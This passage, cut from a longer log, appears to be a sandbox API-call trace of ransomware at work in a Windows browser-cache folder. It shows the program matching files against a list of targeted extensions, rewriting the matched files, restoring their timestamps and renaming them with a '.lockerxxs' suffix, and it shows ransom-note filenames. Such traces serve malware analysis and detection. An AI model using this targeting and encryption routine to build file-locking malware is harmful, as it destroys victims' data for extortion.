Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.dbf") returned 0 [0083.037] lstrlenA (lpString="*.dbf") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.myox") returned 0 [0083.037] lstrlenA (lpString="*.myox") returned 6 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.myo") returned 0 [0083.037] lstrlenA (lpString="*.myo") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qbw") returned 0 [0083.037] lstrlenA (lpString="*.qbw") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qbb") returned 0 [0083.037] lstrlenA (lpString="*.qbb") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qbm") returned 0 [0083.037] lstrlenA (lpString="*.qbm") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qbo") returned 0 [0083.037] lstrlenA (lpString="*.qbo") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qbx") returned 0 [0083.037] lstrlenA (lpString="*.qbx") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qba") returned 0 [0083.037] lstrlenA (lpString="*.qba") returned 5 [0083.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qby") returned 0 [0083.037] lstrlenA (lpString="*.qby") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qbj") returned 0 [0083.038] lstrlenA (lpString="*.qbj") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.ofx") returned 0 [0083.038] lstrlenA (lpString="*.ofx") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.qif") returned 0 [0083.038] lstrlenA (lpString="*.qif") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.mye") returned 0 [0083.038] lstrlenA (lpString="*.mye") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.mbox") returned 0 [0083.038] lstrlenA (lpString="*.mbox") returned 6 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.eml") returned 0 [0083.038] lstrlenA (lpString="*.eml") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.pst") returned 0 [0083.038] lstrlenA (lpString="*.pst") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.ost") returned 0 [0083.038] lstrlenA (lpString="*.ost") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.idx") returned 0 [0083.038] lstrlenA (lpString="*.idx") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.dbx") returned 0 [0083.038] lstrlenA (lpString="*.dbx") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.sql") returned 0 [0083.038] lstrlenA (lpString="*.sql") returned 5 [0083.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.mdb") returned 0 [0083.038] lstrlenA (lpString="*.mdb") returned 5 [0083.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.fdb") returned 0 [0083.039] lstrlenA (lpString="*.fdb") returned 5 [0083.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.wab") returned 0 [0083.039] lstrlenA (lpString="*.wab") returned 5 [0083.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.dat") returned 0 [0083.039] lstrlenA (lpString="*.dat") returned 5 [0083.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.txt") returned 0 [0083.039] lstrlenA (lpString="*.txt") returned 5 [0083.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.jpeg") returned 0 [0083.039] lstrlenA (lpString="*.jpeg") returned 6 [0083.039] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", pszSpec="*.jpg") returned 1 [0083.039] lstrlenA (lpString="*.jpg") returned 5 [0083.039] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" [0083.039] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" [0083.039] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg." [0083.039] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.lockerxxs" [0083.039] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.040] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f37 [0083.040] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53950cb0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53950cb0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x539c30d0, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.040] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.040] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1f11, lpOverlapped=0x0) returned 1 [0083.045] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg") returned="BBBzaxY[1].jpg" [0083.045] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.045] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1f11, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1f11, lpOverlapped=0x0) returned 1 [0083.045] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.045] CloseHandle (hObject=0xa4) returned 1 [0083.045] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg.lockerxxs")) returned 1 [0083.046] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53089b90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2131, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBZzuz[1].jpg", cAlternateFileName="BBBZZU~1.JPG")) returned 1 [0083.046] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.046] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBZzuz[1].jpg") returned 1 [0083.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBZzuz[1].jpg") returned 1 [0083.047] lstrcmpiA (lpString1="", lpString2="BBBZzuz[1].jpg") returned -1 [0083.047] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg") returned="BBBzaxY[1].jpg" [0083.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.047] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.047] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.047] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.047] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBZzuz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.ems") returned 0 [0083.047] lstrlenA (lpString="*.ems") returned 5 [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.db") returned 0 [0083.047] lstrlenA (lpString="*.db") returned 4 [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.dbf") returned 0 [0083.047] lstrlenA (lpString="*.dbf") returned 5 [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.myox") returned 0 [0083.047] lstrlenA (lpString="*.myox") returned 6 [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.myo") returned 0 [0083.047] lstrlenA (lpString="*.myo") returned 5 [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qbw") returned 0 [0083.047] lstrlenA (lpString="*.qbw") returned 5 [0083.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qbb") returned 0 [0083.048] lstrlenA (lpString="*.qbb") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qbm") returned 0 [0083.048] lstrlenA (lpString="*.qbm") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qbo") returned 0 [0083.048] lstrlenA (lpString="*.qbo") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qbx") returned 0 [0083.048] lstrlenA (lpString="*.qbx") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qba") returned 0 [0083.048] lstrlenA (lpString="*.qba") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qby") returned 0 [0083.048] lstrlenA (lpString="*.qby") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qbj") returned 0 [0083.048] lstrlenA (lpString="*.qbj") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.ofx") returned 0 [0083.048] lstrlenA (lpString="*.ofx") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.qif") returned 0 [0083.048] lstrlenA (lpString="*.qif") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.mye") returned 0 [0083.048] lstrlenA (lpString="*.mye") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.mbox") returned 0 [0083.048] lstrlenA (lpString="*.mbox") returned 6 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.eml") returned 0 [0083.048] lstrlenA (lpString="*.eml") returned 5 [0083.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.pst") returned 0 [0083.049] lstrlenA (lpString="*.pst") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.ost") returned 0 [0083.049] lstrlenA (lpString="*.ost") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.idx") returned 0 [0083.049] lstrlenA (lpString="*.idx") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.dbx") returned 0 [0083.049] lstrlenA (lpString="*.dbx") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.sql") returned 0 [0083.049] lstrlenA (lpString="*.sql") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.mdb") returned 0 [0083.049] lstrlenA (lpString="*.mdb") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.fdb") returned 0 [0083.049] lstrlenA (lpString="*.fdb") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.wab") returned 0 [0083.049] lstrlenA (lpString="*.wab") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.dat") returned 0 [0083.049] lstrlenA (lpString="*.dat") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.txt") returned 0 [0083.049] lstrlenA (lpString="*.txt") returned 5 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.jpeg") returned 0 [0083.049] lstrlenA (lpString="*.jpeg") returned 6 [0083.049] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", pszSpec="*.jpg") returned 1 [0083.049] lstrlenA (lpString="*.jpg") returned 5 [0083.050] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" [0083.050] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS 